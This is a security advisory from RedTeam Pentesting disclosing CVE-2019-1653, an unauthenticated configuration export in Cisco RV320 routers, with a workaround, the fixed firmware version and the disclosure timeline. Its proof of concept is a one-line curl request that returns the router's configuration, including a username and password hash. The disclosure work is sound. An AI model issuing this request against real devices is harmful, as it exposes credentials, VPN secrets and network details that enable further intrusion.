Cisco RV320 Unauthenticated Configuration Export

`Advisory: Cisco RV320 Unauthenticated Configuration Export  
  
RedTeam Pentesting discovered that the configuration of a Cisco RV320  
router may be exported without authentication through the device's web  
interface.  
  
  
Details  
=======  
  
Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others  
Affected Versions: 1.4.2.15, 1.4.2.17  
Fixed Versions: since 1.4.2.19  
Vulnerability Type: Information Disclosure  
Security Risk: high  
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info  
Vendor Status: fixed version released  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2018-002  
Advisory Status: published  
CVE: CVE-2019-1653  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653  
  
  
Introduction  
============  
  
"Keep your employees, your business, and yourself productive and  
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal  
choice for any small office or small business looking for performance,  
security, and reliability in its network."  
(from the Cisco RV320 product page [1])  
  
  
More Details  
============  
  
The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based  
configuration interface. In the device's firmware, this functionality is  
implemented using a variety of CGI programs. Access to this web  
interface requires prior authentication using a username and password.  
RedTeam Pentesting discovered the CGI program:  
  
/cgi-bin/config.exp  
  
This program can be used to export the router's configuration. In  
contrast to other functions, this CGI program does not require any form  
of authentication. It may be accessed through the router's web server,  
which is available from the LAN by default. As described in [2],  
firmware versions from 1.4.2 to 1.4.2.15 (including) also expose the web  
server to the WAN on TCP port 8007.  
  
  
Proof of Concept  
================  
  
A device's configuration can be retrieved by issuing an HTTP GET request  
to the vulnerable CGI program (output shortened):  
  
------------------------------------------------------------------------  
$ curl -s http://192.168.1.1/cgi-bin/config.exp  
####sysconfig####  
[VERSION]  
VERSION=73  
MODEL=RV320  
SSL=0  
IPSEC=0  
PPTP=0  
PLATFORMCODE=RV0XX  
[...]  
[SYSTEM]  
HOSTNAME=router  
DOMAINNAME=example.com  
DOMAINCHANGE=1  
USERNAME=cisco  
PASSWD=066bae9070a9a95b3e03019db131cd40  
[...]  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
Prevent untrusted clients from connecting to the device's web server.  
  
  
Fix  
===  
  
Install firmware version 1.4.2.19 (or later) on the router.  
  
  
Security Risk  
=============  
  
This vulnerability is rated as a high risk as it exposes the device's  
configuration to untrusted, potentially malicious parties. By  
downloading the configuration, attackers can obtain internal network  
configuration, VPN or IPsec secrets, as well as password hashes for the  
router's user accounts. Knowledge of a user's password hash is  
sufficient to log into the router's web interface. Any information  
obtained through exploitation of this vulnerability can be used to  
facilitate further compromise of the device itself or attached networks.  
  
  
Timeline  
========  
  
2018-09-19 Vulnerability identified  
2018-09-27 Customer approved disclosure to vendor  
2018-09-28 Vendor notified  
2018-10-05 Receipt of advisory acknowledged by vendor  
2018-10-05 Notified vendor of disclosure date: 2019-01-09  
2018-11-18 List of affected versions provided by vendor  
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor  
2019-01-23 Advisory published  
  
  
References  
==========  
  
[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html  
[2] https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting is looking for penetration testers to join our team  
in Aachen, Germany. If you are interested please visit:  
https://www.redteam-pentesting.de/jobs/  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen  
`